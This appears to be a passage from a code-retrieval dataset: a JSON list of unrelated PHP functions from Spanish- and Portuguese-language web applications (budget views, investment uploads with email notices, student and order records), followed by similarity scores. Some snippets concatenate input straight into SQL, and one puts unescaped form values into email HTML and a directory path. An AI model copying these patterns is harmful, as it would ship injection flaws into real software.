getTexto();\t\t\t\n\t\t\t\t$db['presupuestos']\t\t\t= $this->presupuestos_model->getRegistro($id);\n\t\t\t\t$db['detalle_presupuesto']\t= $this->renglon_presupuesto_model->getDetalle($id);\n\t\t\t\t$db['interes_presupuesto']\t= $this->intereses_model->getInteres($id);\n\t\t\t\t$db['impresiones']\t\t\t= $this->config_impresion_model->getRegistro(2);\n\t\t\t\t$db['devoluciones']\t\t\t= $this->devoluciones_model->getBusqueda($condicion);\n\t\t\t\t$db['anulaciones']\t\t\t= $this->anulaciones_model->getAnulaciones($id);\n\t\t\t\t\n\t\t\t\tif($llamada == NULL)\n\t\t\t\t{\n\t\t\t\t\t$db['llamada'] = FALSE;\n\t\t\t\t\t$this->load->view('head.php',$db);\n\t\t\t\t\t$this->load->view('menu.php');\n\t\t\t\t\t$this->load->view('presupuestos/detalle_presupuestos.php');\n\t\t\t\t\t$this->load->view('footer.php');\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$db['llamada'] = TRUE;\n\t\t\t\t\t$this->load->view('head.php',$db);\n\t\t\t\t\t$this->load->view('presupuestos/detalle_presupuestos.php');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\tredirect('/','refresh');\n\t\t\t}\n\t\t}else{\n\t\t\tredirect('/','refresh');\n\t\t}\n\t}", "function crear($datos){\t\t\r\n\t\t//Se guardan sus datos en un array asociativo, el cual cada id o key tiene que tener el mismo nombre de la columna de la tabla en la bd. Sino se hace asi se genera error\r\n\t\t$array = array(\r\n\t\t\t'name' => $datos[\"nombre\"],\r\n\t\t\t'idUsuario' => $datos[\"idUsuario\"],\r\n\t\t\t'hora_inicio' => $datos[\"horainicio\"],\r\n\t\t\t'hora_final' => $datos[\"horafinal\"]);\r\n\r\n\t\t$this->db->set('date_create', 'CURDATE()', FALSE);\r\n\t\t$this->db->set('time_create', 'curTime()', FALSE);\r\n\t\t$this->db->insert('turnos_laborales', $array);//Se llama a la funcion de insertar datos y se le pasa el array asociativo\t\r\n\t}", "public function ctrCrearInversion(){\n\t\tif(isset($_POST[\"idUsuarioInversion\"])){\n\n\t\t\t\n\t\t\tif(isset($_FILES[\"soporteimg\"][\"tmp_name\"]) && !empty($_FILES[\"soporteimg\"][\"tmp_name\"])){\n\n\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"soporteimg\"][\"tmp_name\"]);\n\n\t\t\t\t$nuevoAncho = 1500;\n\t\t\t\t$nuevoAlto = 1500;\n\t\t\t\t/*=============================================\n\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO\n\t\t\t\t=============================================*/\n\t\t\t\tdate_default_timezone_set(\"America/Bogota\");\n\t\t\t\t$fecha_img = date(\"d\").\"_\".date(\"m\").\"_\".date(\"y\").\"_\".date(\"h\").\"_\".date(\"i\").\"_\".date(\"s\").\"_\".date(\"a\"); \n\n\t\t\t\t$directorio_inv = \"views/img/inversion/\".$_POST[\"idUsuarioInversion\"];\n\n\t\t\t\tif(!file_exists($directorio_inv)){\t\n\n\t\t\t\t\tmkdir($directorio_inv, 0755);\n\n\t\t\t\t}\n\n\t\t\t\t//echo $directorio_inv;\n\t\t\t\t/*=============================================\n\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t=============================================*/\n\n\t\t\t\tif($_FILES[\"soporteimg\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t$ruta = $directorio_inv.\"/\".$aleatorio.\"_\".$fecha_img.\".jpg\";\n\n\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"soporteimg\"][\"tmp_name\"]);\n\n\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\timagejpeg($destino, $ruta);\t\n\n\n\t\t\t\t}else if($_FILES[\"soporteimg\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t$ruta = $directorio_inv.\"/\".$aleatorio.\"_\".$fecha_img.\".png\";\n\n\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"soporteimg\"][\"tmp_name\"]);\t\n\n\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\t\n\n\t\t\t\t\timagealphablending($destino, FALSE);\n\t\t\n\t\t\t\t\timagesavealpha($destino, TRUE);\t\t\n\n\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\t\t\n\n\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t}else{\n\n\t\t\t\t\techo'<script>\n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\ttype:\"error\",\n\t\t\t\t\t\t\t \ttitle: \"¡CORREGIR!\",\n\t\t\t\t\t\t\t \ttext: \"¡No se permiten formatos diferentes a JPG y/o PNG invsersion!\",\n\t\t\t\t\t\t\t \tshowConfirmButton: true,\n\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\t\t\tif(result.value){ \n\t\t\t\t\t\t\t\t history.back();\n\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t});\n\n\t\t\t\t\t</script>';\n\n\t\t\t\t}\n\n\t\t\t\t/* espacio para insertar datos en la tabla */\n\t\t\t\t$tabla = \"sol_inversion\";\n\t\t\t\t$fecha_solictud= substr(date(\"c\"), 0, -6);\n\t\t\t\t$plan = $_POST[\"options\"];\n\t\t\t\t//$fecha_fin = substr(date(\"c\") + $plan, 0, -6).\"Z\";\n\n\n\t\t\t\t$fechaInicial = substr($fecha_solictud,0,-10);\n\t\t\t\t$fechaVencimiento = strtotime('+'.$plan.' days', strtotime($fechaInicial) );\n\t\t\t\t$vencimiento = date(\"Y-m-d\", $fechaVencimiento);\n\n\n\t\t\t/*\t$datos_inv = array(\"fecha_solicitud\" => $fecha_solictud ,\n\t\t\t\t\"id_usuario\" => $_POST[\"idUsuarioInversion\"] ,\n\t\t\t\t\"email_fondos\" => $_POST[\"email_fondo\"],\n\t\t\t\t\"monto\" => $_POST[\"monto\"],\n\t\t\t\t\"plan_inversion\" => $plan,\n\t\t\t\t\"fecha_final\" => $vencimiento,\n\t\t\t\t\"soporte\" => $ruta,\n\t\t\t\t\"estado\" => \"1\",\n\t\t\t\t\"fecha_apobacion\" =>\"\",\n\t\t\t\t\"id_user_aprobo\" =>\"\",\n\t\t\t\t\"observacion\" =>\"\"); */\n\n\t\t\t$datos_inv = array(\"fecha_solicitud\" => $fecha_solictud ,\n\t\t\t\t\t\t\"id_usuario\" => $_POST[\"idUsuarioInversion\"] ,\n\t\t\t\t\t\t\"email_fondos\" => $_POST[\"email_fondo\"] ,\n\t\t\t\t\t\t\"monto\" => $_POST[\"monto\"] ,\n\t\t\t\t\t\t\"plan_inversion\" => $plan ,\n\t\t\t\t\t\t\"fecha_final\" => $vencimiento ,\n\t\t\t\t\t\t\"soporte\" => $ruta ,\n\t\t\t\t\t\t\"estado\" => \"1\" ,\n\t\t\t\t\t\t\"fecha_apobacion\" => NULL ,\n\t\t\t\t\t\t\"id_user_aprobo\" => NULL ,\n\t\t\t\t\t\t\"observacion\" => NULL );\n\n\t\t\t\t//echo '<pre>'; print_r($datos_inv); echo '</pre>';\n\n\t\t\t\t$respuesta = UserModel::mdlRegistroInversion($tabla, $datos_inv);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tVerificación Correo Electrónico\n\t\t\t\t\t\t=============================================*/\n\t\t\t\t\t\t$elcorreo = $_POST[\"email_fondo\"];\n\t\t\t\t\t\t//$rutainv = RouteController::ctrRoute();\n\n\t\t\t\t\t\tdate_default_timezone_set(\"America/Bogota\");\n\n\t\t\t\t\t\t$mail = new PHPMailer;\n\n\t\t\t\t\t\t$mail->Charset = \"UTF-8\";\n\n\t\t\t\t\t\t$mail->isMail();\n\n\t\t\t\t\t\t$mail->setFrom(\"[email protected]\", \"Valientes Digitales\");\n\n\t\t\t\t\t\t$mail->addReplyTo(\"[email protected]\", \"Valientes Digitales\");\n\n\t\t\t\t\t\t$mail->Subject = \"Solicitud de inversion programa capitalVAD\";\n\n\t\t\t\t\t\t$mail->addAddress($elcorreo);\n\n\t\t\t\t\t\t$mail->msgHTML('<div style=\"width:100%; background:#eee; position:relative; font-family:sans-serif; padding-bottom:40px\">\n\t\n\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<img style=\"padding:20px; width:10%\" src=\"http://capital.valientesdigitales.com.co/views/img/logo.png\">\n\n\t\t\t\t\t\t</center>\n\n\t\t\t\t\t\t<div style=\"position:relative; margin:auto; width:600px; background:white; padding:20px\">\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<center>\n\n\t\t\t\t\t\t\t\t<img style=\"padding:20px; width:15%\" src=\"http://capital.valientesdigitales.com.co/views/img/logo.png\">\n\n\t\t\t\t\t\t\t\t<h3 style=\"font-weight:100; color:#999\">SOLICITUD DE INVERSION EN CAPITALVAD</h3>\n\n\t\t\t\t\t\t\t\t<hr style=\"border:1px solid #ccc; width:80%\">\n\n\t\t\t\t\t\t\t\t<h4 style=\"font-weight:100; color:#999; padding:0 20px\">Nuestros colaboradores est&aacute;n verificando su transferencia, por favor espere la aprobaci&oacute;n. Esta puede tardar hasta tres días h&aacute;biles.</h4>\n\n\t\t\t\t\t\t\t\t<a href=\"http://capital.valientesdigitales.com.co\" target=\"_blank\" style=\"text-decoration:none\">\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t<div style=\"line-height:60px; background:#0aa; width:60%; color:white\">Monto de inverion de \"'.$_POST[\"monto\"] .'\" USD, Con un plazo de \"'.$plan.'\" dias.</div>\n\n\t\t\t\t\t\t\t\t</a>\n\n\t\t\t\t\t\t\t\t<br>\n\n\t\t\t\t\t\t\t\t<hr style=\"border:1px solid #ccc; width:80%\">\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t</center>\t\n\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t</div>');\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t$envio = $mail->Send();\n\n\t\t\t\t\t\tif(!$envio){\n\n\t\t\t\t\t\t\techo '<script>\n\n\t\t\t\t\t\t\t\tswal({\n\n\t\t\t\t\t\t\t\t\ttype:\"error\",\n\t\t\t\t\t\t\t\t\ttitle: \"¡ERROR!\",\n\t\t\t\t\t\t\t\t\ttext: \"¡¡Ha ocurrido un problema enviando verificación de correo electrónico a '.$elcorreo.' '.$mail->ErrorInfo.', por favor inténtelo nuevamente\",\n\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\t\t\t\thistory.back();\n\n\t\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\t});\t\n\n\t\t\t\t\t\t\t</script>';\n\n\n\t\t\t\t\t\t}else{\n\n\n\t\t\t\t\t\t\techo '<script>\n\n\t\t\t\t\t\t\t\tswal({\n\n\t\t\t\t\t\t\t\t\ttype:\"success\",\n\t\t\t\t\t\t\t\t\ttitle: \"¡SU SOLICITUD HA SIDO ENVIADA!\",\n\t\t\t\t\t\t\t\t\ttext: \"¡Por favor revise la bandeja de entrada o la carpeta SPAM de su correo electrónico al igual que en la opcion de Inversiones / Historico ver el estado de la solicitud!\",\n\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t\t\t\t});\t\n\n\t\t\t\t\t\t\t</script>';\n\n\n\t\t\t\t\t\t}\n\n\n\t\t\t\t} // fin swl if que valida para enviar el mail\n\n\t\t\t\t/* Fin de la insercion de datos de la tabla*/\n\n\n\n\t\t\t}// fin del if interno donde pregunta por el file\n\t\t}// fin del primer if donde pregunta si se envio el id del usuario\t\t\n\t}", "function ingresar_alumno($alumno)\n {\n $alumno[\"rut\"] = str_replace('.', '', $alumno[\"rut\"]);\n $alumno[\"rut\"] = str_replace('-', '', $alumno[\"rut\"]);\n $alumno[\"dv\"] = substr($alumno[\"rut\"], -1);\n $alumno[\"rut\"] = substr($alumno[\"rut\"], 0, -1);\n $this->db->set('RUT', $alumno[\"rut\"]);\n $this->db->set('DV', $alumno[\"dv\"]);\n $this->db->set('NOMBRES', strtoupper($alumno[\"nombres\"]));\n $this->db->set('APELLIDO_PAT', strtoupper($alumno[\"apellido_pat\"]));\n $this->db->set('APELLIDO_MAT', strtoupper($alumno[\"apellido_mat\"]));\n $this->db->set('FECHA_NACIMIENTO', $alumno[\"fecha_nacimiento\"]);\n $this->db->set('DOMICILIO', strtoupper($alumno[\"domicilio\"]));\n $this->db->set('NUMERO', strtoupper($alumno[\"numero\"]));\n $this->db->set('VISIBLE', 'S');\n $this->db->insert(\"tb_alumnos\");\n return $this->db->insert_id();\n }", "public function adjuntar_oc_nc()\r\n{\r\n$session_data=$this->session->userdata('datosuser');\r\n$data=array(\r\n'usuarioUsr'=>$session_data['usuarioUsr'],\r\n'nombreUsr'=>$session_data['nombreUsr'],\r\n'perfilUsr'=>$session_data['perfilUsr'],\r\n'regionUsr'=>$session_data['regionUsr'],\r\n'programaUsr'=>$session_data['programaUsr'],\r\n'componenteUsr'=>$session_data['componenteUsr'],\r\n'usuarios' => $this->persona_model->ver_usuarios()\r\n);\r\n\r\n$data['error']=\"\";\r\n\r\n$data['codigomemo']=$this->uri->segment(3);\r\n\r\n$this->load->view('header');\r\nif($data['perfilUsr']==4){\r\n$data['cant_noti']=$this->persona_model->count_noti_etapa_uno();\r\n$this->load->view('perfil/menu/menu-apoyo', $data);\r\n}\r\nelse if($data['perfilUsr']==7){\r\n$data['cant_cinco']=$this->persona_model->count_noti_etapa_cinco();\r\n$data['cant_noti']=$this->persona_model->count_noti_etapa_dos();\r\n$this->load->view('perfil/menu/menu-pnud', $data);\r\n}\r\nelse if($data['perfilUsr']==6){\r\n$data['cant_noti']=$this->persona_model->count_noti_etapa_tres();\r\n$this->load->view('perfil/menu/menu-region', $data);\r\n}\r\nelse if($data['perfilUsr']==5){\r\n$data['cant_noti']=$this->persona_model->count_noti_etapa_tres();\r\n$this->load->view('perfil/menu/menu-region', $data);\r\n}\r\nelse{\r\n$this->load->view('perfil/menu/menu-perfil', $data);\r\n}\r\n$this->load->view('perfil/gastos/cargar_oc_nc', $data);\r\n$this->load->view('footer');\r\n}", "public function create()\n {\n $anio = Input::get('anio');\n $mes = Input::get('mes');\n $tipo = Input::get('tipo');\n\n //validar que se ingresen tods los datos\n if($mes == \"\"){\n return Redirect::back()->with('error', 'Se deben ingresar todos los datos')\n ->withInput();\n }\n\n //validar año numérico\n if(!is_numeric($anio)){\n return Redirect::back()->with('anio', 'Ingrese un año válido')\n ->withInput();\n }\n\n //verificar existencia y llamar función de generación\n switch ($tipo) {\n case 'ventas':\n $puntosVenta = PuntoVenta::where('pvActivo', '=', 1)->get();\n $puntoOrdenes= array();\n $i = 0;\n $totalmes = 0;\n $totalmesU = 0;\n foreach($puntosVenta as $puntoVenta){\n $ordenes = Orden::whereMonth('ordFecha', '=', $mes)->whereYear('ordFecha', '=', $anio)->where('ordPuntoVentaID', '=', $puntoVenta->pvID)->get();\n if(count($ordenes) > 0){\n $puntoOrdenes[$i]['totalPuntoVenta'] = 0;\n $puntoOrdenes[$i]['totalPuntoVentaC'] = 0;\n $puntoOrdenes[$i]['totalPuntoVentaU'] = 0;\n $puntoOrdenes[$i]['puntoVenta'] = $puntoVenta->pvNombre;\n $puntoOrdenes[$i]['ordenes'] = array();\n $k = 0;\n foreach($ordenes as $orden){\n $puntoOrdenes[$i]['ordenes'][$k] = $orden;\n $orden->ordTotalUtilidades = $orden->ordTotal - $orden->ordTotalCompra;\n $puntoOrdenes[$i]['totalPuntoVenta'] += $orden->ordTotal;\n $puntoOrdenes[$i]['totalPuntoVentaC'] += $orden->ordTotalCompra;\n $puntoOrdenes[$i]['totalPuntoVentaU'] += $orden->ordTotalUtilidades;\n $totalmes += $orden->ordTotal;\n $totalmesU += $orden->ordTotalUtilidades;\n $k++;\n }\n $i++;\n }\n }\n if (count($puntoOrdenes)>0){\n return $this->generateInformVentas($puntoOrdenes, $mes, $anio, $totalmes, $totalmesU);\n }else{\n return Redirect::back()->with('error', 'No se encontraron ventas para el año y mes especificados')\n ->withInput();\n }\n break;\n case 'garantias':\n $garantias = Garantia::whereMonth('grnFecha', '=', $mes)->whereYear('grnFecha', '=', $anio)->get();\n $instaladores = Instalador::where('insActivo', '=', 1)->get();\n //$instaladorGarantias[] = array('insNombre', 'insApellido', 'ordenes', 'totalMes', 'totalInstalador');\n $instaladorGarantias = array();\n $i = 0;\n $totalMes = 0;\n foreach($instaladores as $instalador){\n $ordenes = DB::table('garantias')\n ->join('ordens', 'ordens.ordID', '=', 'garantias.grnOrdenID')\n ->whereMonth('grnFecha', '=', $mes)\n ->whereYear('grnFecha', '=', $anio)\n ->where('ordInstaladorID', '=', $instalador->insID)->get();\n\n if(count($ordenes) > 0){\n $instaladorGarantias[$i]['insNombre'] = $instalador->insNombre;\n $instaladorGarantias[$i]['insApellido'] = $instalador->insApellido;\n $instaladorGarantias[$i]['totalInstalador'] = 0;\n $instaladorGarantias[$i]['ordenes'] = array();\n $k = 0;\n foreach($ordenes as $orden){\n $garantia = Garantia::where('grnOrdenID', '=', $orden->ordID)->first();\n $orden->grnFecha = $garantia->grnFecha;\n $orden->grnObservaciones = $garantia->grnObservaciones;\n $instaladorGarantias[$i]['ordenes'][$k] = $orden;\n $instaladorGarantias[$i]['totalInstalador'] += 1;\n $totalMes += 1;\n $k++;\n }\n $i++;\n }\n }\n if (count($instaladorGarantias)>0){\n return $this->generateInformGarantias($instaladorGarantias, $mes, $anio, $totalMes);\n }else{\n return Redirect::back()->with('error', 'No se encontraron garantías registradas para el año y mes especificados')\n ->withInput();\n }\n break;\n case 'instalaciones':\n $instaladores = Instalador::where('insActivo', '=', 1)->get();\n $instaladorOrdenes = array();\n $i = 0;\n $totalMesSI = 0;\n $totalMesNO = 0;\n foreach($instaladores as $instalador){\n $ordenes = Orden::whereMonth('ordFechaInstalacion', '=', $mes)->whereYear('ordFechaInstalacion', '=', $anio)->where('ordInstaladorID', '=', $instalador->insID)->get();\n if(count($ordenes) > 0){\n $instaladorOrdenes[$i]['insNombre'] = $instalador->insNombre;\n $instaladorOrdenes[$i]['insApellido'] = $instalador->insApellido;\n $instaladorOrdenes[$i]['totalInstaladorSI'] = 0;\n $instaladorOrdenes[$i]['totalInstaladorNO'] = 0;\n $instaladorOrdenes[$i]['ordenes'] = array();\n $k = 0;\n foreach($ordenes as $orden){\n $instaladorOrdenes[$i]['ordenes'][$k] = $orden;\n if($orden->ordEstadoInstalacionID == 4){\n $totalMesSI += 1;\n $instaladorOrdenes[$i]['totalInstaladorSI'] += 1;\n }else{\n $totalMesNO += 1;\n $instaladorOrdenes[$i]['totalInstaladorNO'] += 1;\n }\n $k++;\n }\n $i++;\n }\n }\n $ordenesNO = Orden::whereMonth('ordFechaInstalacion', '=', $mes)->whereYear('ordFechaInstalacion', '=', $anio)->where('ordEstadoInstalacionID', '=', 3)->get();\n if (count($instaladorOrdenes)>0 || count($ordenesNO)>0){\n return $this->generateInformInstalaciones($instaladorOrdenes, $mes, $anio, $totalMesSI, $totalMesNO, $ordenesNO);\n }else{\n return Redirect::back()->with('error', 'No se encontraron instalaciones programadas para el año y mes especificados')\n ->withInput();\n }\n break;\n }\n\n //return Redirect::back()->with('success', 'Informe emitido exitosamente')\n //->withInput();\n }", "function crearPedido($tipoPizza,$tamanoPizza,$masaPizza,$extrasPizza,$numeroPizzas,$precioPedido){\r\n $extras = '';\r\n foreach ($extrasPizza as $key => $value) {\r\n $extras .= $value.' <br>';\r\n }\r\n //creamos el pedido, extras es un array\r\n $pedido = array(\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>El tipo de pizza es </td><td class='.\"pedidoTD\".'>' =>\r\n $tipoPizza.'</td></tr>',\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>El tamaño de pizza es </td><td class='.\"pedidoTD\".'>' =>\r\n $tamanoPizza.'</td></tr>',\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>La masa de la pizza es </td><td class='.\"pedidoTD\".'>' =>\r\n $masaPizza.'</td></tr>',\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>Extras </td><td class='.\"pedidoTD\".'>' =>\r\n $extras.'</td></tr>',\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>El número de pizzas de este tipo pedidos </td><td class='.\"pedidoTD\".'>' =>\r\n $numeroPizzas.'</td></tr>',\r\n '<tr class='.'precioTr'.'><td class='.\"precioTituloTD\".'>El precio de este pedido es </td><td class='.\"pedidoTD\".'>' =>\r\n $precioPedido.' euros</td></tr>'\r\n );\r\n return $pedido;\r\n}", "public function generar(){\n if (!$this->ordenante instanceof bancfiles_n34_ordenante) {\n\n throw new Bancfiles_Exception('Ordenante no existente');\n }\n \n // si no hi ha beneficiaris llancem una excepcio\n if ( ($this->linies_diez = count($this->beneficiarios)) ==0) {\n\n throw new Bancfiles_Exception('Beneficiarios == 0');\n }\n \n $this->buffer = $this->ordenante->generar_cap()\n .$this->ordenante->generar_nombre()\n .$this->ordenante->generar_domicilio()\n .$this->ordenante->generar_plaza();\n \n foreach ($this->beneficiarios as $beneficiario){\n \n $this->buffer = $this->buffer\n .$beneficiario->generar_registre10($this->ordenante->nif)\n .$beneficiario->generar_registre11($this->ordenante->nif);\n \n \n } \n \n // 4 del ordenant\n // 1 totals\n // 2 per cada beneficiari\n $this->linies = 5+(count($this->beneficiarios)<<1);\n\n $this->buffer .= $this->generar_totals();\n \n return $this;\n }", "public function gerarDados() {\n \n if (empty($this->sDataInicial)) {\n throw new Exception(\"Data inicial nao informada!\");\n }\n \n if (empty($this->sDataFinal)) {\n throw new Exception(\"Data final não informada!\");\n }\n /**\n * Separamos a data do em ano, mes, dia\n */\n list($iAno, $iMes, $iDia) = explode(\"-\",$this->sDataFinal);\n $oInstituicao = db_stdClass::getDadosInstit(db_getsession(\"DB_instit\"));\n $sListaInstit = db_getsession(\"DB_instit\");\n $sSqlSubsidio = \"select c16_mes, \";\n $sSqlSubsidio .= \" c16_ano,\";\n $sSqlSubsidio .= \" c16_subsidiomensal,\";\n $sSqlSubsidio .= \" c16_subsidioextraordinario,\";\n $sSqlSubsidio .= \" z01_nome, \";\n $sSqlSubsidio .= \" z01_cgccpf \";\n $sSqlSubsidio .= \" from padsigapsubsidiosvereadores \"; \n $sSqlSubsidio .= \" inner join cgm on z01_numcgm = c16_numcgm \"; \n $sSqlSubsidio .= \" where c16_ano = {$iAno} \";\n $sSqlSubsidio .= \" and c16_mes <= $iMes\"; \n $sSqlSubsidio .= \" and c16_instit = {$sListaInstit}\";\n $sSqlSubsidio .= \" order by c16_ano, c16_mes\";\n $rsSubsidio = db_query($sSqlSubsidio); \n $iTotalLinhas = pg_num_rows($rsSubsidio);\n for ($i = 0; $i < $iTotalLinhas; $i++) {\n \n $sDiaMesAno = \"{$iAno}-\".str_pad($iMes, 2, \"0\", STR_PAD_LEFT).\"-\".str_pad($iDia, 2, \"0\", STR_PAD_LEFT);\n $oSubSidio = db_utils::fieldsMemory($rsSubsidio, $i);\n \n $oRetorno = new stdClass();\n $oRetorno->subCodigoEntidade = str_pad($this->iCodigoTCE, 4, \"0\", STR_PAD_LEFT);\n $oRetorno->subMesAnoMovimento = $sDiaMesAno;\n $iUltimoDiaMes = cal_days_in_month(CAL_GREGORIAN, $oSubSidio->c16_mes, $oSubSidio->c16_ano); \n $oRetorno->subMesAnoReferencia = $oSubSidio->c16_ano.\"-\".str_pad($oSubSidio->c16_mes, 2, \"0\", STR_PAD_LEFT).\"-\".\n str_pad($iUltimoDiaMes, 2, \"0\", STR_PAD_LEFT);\n $oRetorno->subNomeVereador = substr($oSubSidio->z01_nome, 0, 80); \n $oRetorno->subCPF = str_pad($oSubSidio->z01_cgccpf, 11, \"0\", STR_PAD_LEFT); \n $oRetorno->subMensal = $this->corrigeValor($oSubSidio->c16_subsidiomensal, 13); \n $oRetorno->subExtraordinario = $this->corrigeValor($oSubSidio->c16_subsidioextraordinario, 13); \n $oRetorno->subTotal = $this->corrigeValor(($oSubSidio->c16_subsidioextraordinario+\n $oSubSidio->c16_subsidiomensal), 13);\n array_push($this->aDados, $oRetorno); \n }\n return true;\n }", "function insertarUsuariostribia($refparticipantes,$cantidadaciertos,$intento,$refestados,$refpremios,$puntobonusa,$aciertobonusa,$puntobonusb,$aciertobonusb) {\r\n$sql = \"insert into dbusuariostribia(idusuariotribia,refparticipantes,cantidadaciertos,intento,refestados,refpremios,puntobonusa,aciertobonusa,puntobonusb,aciertobonusb)\r\nvalues ('',\".$refparticipantes.\",\".$cantidadaciertos.\",\".$intento.\",\".$refestados.\",\".$refpremios.\",\".$puntobonusa.\",\".$aciertobonusa.\",\".$puntobonusb.\",\".$aciertobonusb.\")\";\r\n$res = $this->query($sql,1);\r\nreturn $res;\r\n}", "static public function mdlIngresarUnidad($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"INSERT INTO $tabla(descripcion,competencias,id_capacidades,duracion,id_bimestre,id_profesor,estado) VALUES (:descripcion,:competencias,:capacidades,:duracion,:semestre,:id_profesor,1)\");\n\n\t\t$stmt->bindParam(\":descripcion\", $datos[\"descripcion\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":competencias\", $datos[\"competencias\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":capacidades\", $datos[\"capacidades\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":duracion\", $datos[\"duracion\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":semestre\", $datos[\"semestre\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":id_profesor\", $datos[\"id_profesor\"], PDO::PARAM_STR);\n\t\t\n\t\tif($stmt->execute()){\n\n\t\t\treturn \"ok\";\t\n\n\t\t}else{\n\n\t\t\treturn \"error\";\n\t\t\n\t\t}\n\n\t\t$stmt->close();\n\t\t\n\t\t$stmt = null;\n\n\t}", "public function por_asignar() {\n return $this->db\n ->select(format_select(array(\n 'cirugia.idCirugia' => 'idCirugia',\n 'empleado.idEmpleado' => 'idEmpleado',\n 'empleado.matricula' => 'matricula',\n 'empleado.nombre' => 'nombre',\n 'empleado.apellido_paterno' => 'a_paterno',\n 'empleado.apellido_materno' => 'a_materno',\n 'especialidad.nombre' => 'especialidad',\n )))\n ->join('usuario','tipo_usuario.idTipo_Usuario = usuario.idTipo_Usuario')\n ->join('empleado','empleado.idEmpleado = usuario.idEmpleado')\n ->join('departamento','departamento.idDepartamento = tipo_usuario.idDepartamento')\n ->join('especialidad','especialidad.idEspecialidad = departamento.idEspecialidad')\n ->join('proceso_tipo_usuario','proceso_tipo_usuario.idTipo_Usuario = tipo_usuario.idTipo_Usuario')\n ->join('proceso','proceso.idProceso = proceso_tipo_usuario.idProceso')\n ->join('cirugia','cirugia.idProceso = proceso.idProceso AND cirugia.idquirofano = 0 AND cirugia.status = \"1\"')\n ->get('tipo_usuario')\n ->result_array();\n }", "public static function obtener_newcod_categoria($conexion) {\n $resultado = \"\";\n if (isset($conexion)) {\n try {\n $sql = \"SELECT\n COUNT( categoria.codigo_tipo)\n FROM\n categoria\n \";// obtenermos el numero de tipos registrados\n\n foreach ($conexion->query($sql) as $row) {\n $r = $row[0];\n }\n \n if (($r / 10) < 1) {//si el numero obtenido es menor que 10 se asigna de la siguiente manera el codigo\n $cod = \"CEJ-001-00\" . ($r+1) ;\n } else {\n if (($r / 10) < 10) {//si el numero obtenido es mayor que 10 se asigna de la siguiente manera el codigo\n $cod = \"CEJ-001-0\" .($r+1) ;\n } \n }\n return $cod ;//enviamos el codigo generado\n } catch (PDOException $ex) {\n print 'ERROR: ' . $ex->getMessage();\n }\n }\n }" ]
[ "0.63479996", "0.6222491", "0.59448594", "0.5871154", "0.58694696", "0.5861741", "0.58404166", "0.58074963", "0.57517076", "0.57491374", "0.5747312", "0.5734514", "0.5726603", "0.57103276", "0.5695436", "0.5692024", "0.5682", "0.56688267", "0.566635", "0.5661396", "0.56532234", "0.56500816", "0.56496555", "0.56451064", "0.56390166", "0.56316966", "0.5614679", "0.55954134", "0.5594936", "0.5594892", "0.55858445", "0.55716664", "0.5563711", "0.5537831", "0.5533466", "0.5520553", "0.55193543", "0.5501871", "0.5499693", "0.54960126", "0.54898775", "0.548747", "0.5484863", "0.5482255", "0.54789585", "0.54737616", "0.5473273", "0.54723626", "0.5455257", "0.5451833", "0.544898", "0.5445608", "0.5444253", "0.5443685", "0.5430328", "0.54264873", "0.5426149", "0.5418855", "0.5418762", "0.5418399", "0.54179454", "0.54174745", "0.5409535", "0.540932", "0.54083073", "0.54023504", "0.53987765", "0.5393563", "0.53892314", "0.5380934", "0.5376466", "0.53740215", "0.5373694", "0.53661364", "0.5364614", "0.53590447", "0.5356994", "0.5356975", "0.5354903", "0.53458446", 